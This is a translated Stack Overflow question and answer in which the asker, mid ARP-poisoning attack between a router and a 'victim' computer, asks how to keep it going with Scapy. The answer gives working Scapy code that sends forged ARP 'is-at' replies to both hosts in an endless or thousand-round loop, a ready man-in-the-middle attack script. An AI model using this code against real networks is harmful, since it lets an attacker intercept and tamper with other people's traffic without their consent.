【问题标题】:Python-2.7 Scapy retransmit packet to destinationPython-2.7 Scapy 将数据包重新传输到目的地
【发布时间】:2015-09-24 17:18:10
【问题描述】:

进行 arp 中毒,我处于 ​​1-路由器和 2-受害计算机的连接中间。如何将数据包重新传输到目的地? (最好有scapy) 我有这个:

send(ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip))
send(ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip))

【问题讨论】:

    标签: python scapy arp


    【解决方案1】:

    查看Scapy's API documentation 提出了以下替代方案:

    1. send 函数接受 2 个可能有用的附加参数:

      loop:如果不是 0,则无休止地发送数据包。
      inter:在 2 个数据包之间等待的时间(以秒为单位)。

      因此,执行以下语句将在无限循环中发送数据包:

      send([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip),
            ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)],
           inter=1, loop=1)
      
    2. sr 函数接受 3 个可能被证明有用的参数:

      retry: 如果是肯定的,多少次重新发送未应答的数据包。如果是否定的,在放弃之前有多少连续未回答的探测。只有负值才是真正有用的。
      timeout: 最后一个数据包发送后等待多长时间。经过 默认情况下,sr 将永远等待,当用户希望没有更多答案时,必须中断 (Ctrl-C) 它。
      inter:每个数据包之间的等待时间(以秒为单位)已发送。

      由于发送的 ARP 数据包预计不会收到任何答复,因此使用所需值指定这些参数可以在有限循环中发送数据包,这与之前的替代方案相反,后者强制无尽的。

      不利的一面是,由于资源被分配给数据包的接收和处理,这可能效率较低,但这可以忽略不计。

      因此,执行以下语句将在 1000 次迭代的有限循环中发送数据包:

      sr([ARP(op=ARP.is_at, psrc=router_ip, hwdst=victim_mac, pdst=victim_ip),
          ARP(op=ARP.is_at, psrc=victim_ip, hwdst=router_mac, pdst=router_ip)],
         retry=999, inter=1, timeout=1)
      

    【讨论】:

    • 点击链接,发现示例为空。正常吗? (第 12-18 页)因为如果信息在这些页面中,我将无法看到它们!
    • 我在这些页面上遇到了同样的问题。我不确定为什么。但是,可以在here 或通过简单的谷歌搜索找到示例。
    • 感谢您的帮助!你能帮我解决这个问题吗? stackoverflow.com/questions/32804176/…
    猜你喜欢
    • 1970-01-01
    • 2022-01-21
    • 1970-01-01
    • 1970-01-01
    • 2011-11-26
    • 1970-01-01
    • 2023-03-29
    • 2017-04-06
    • 2015-01-11
    相关资源
    最近更新 更多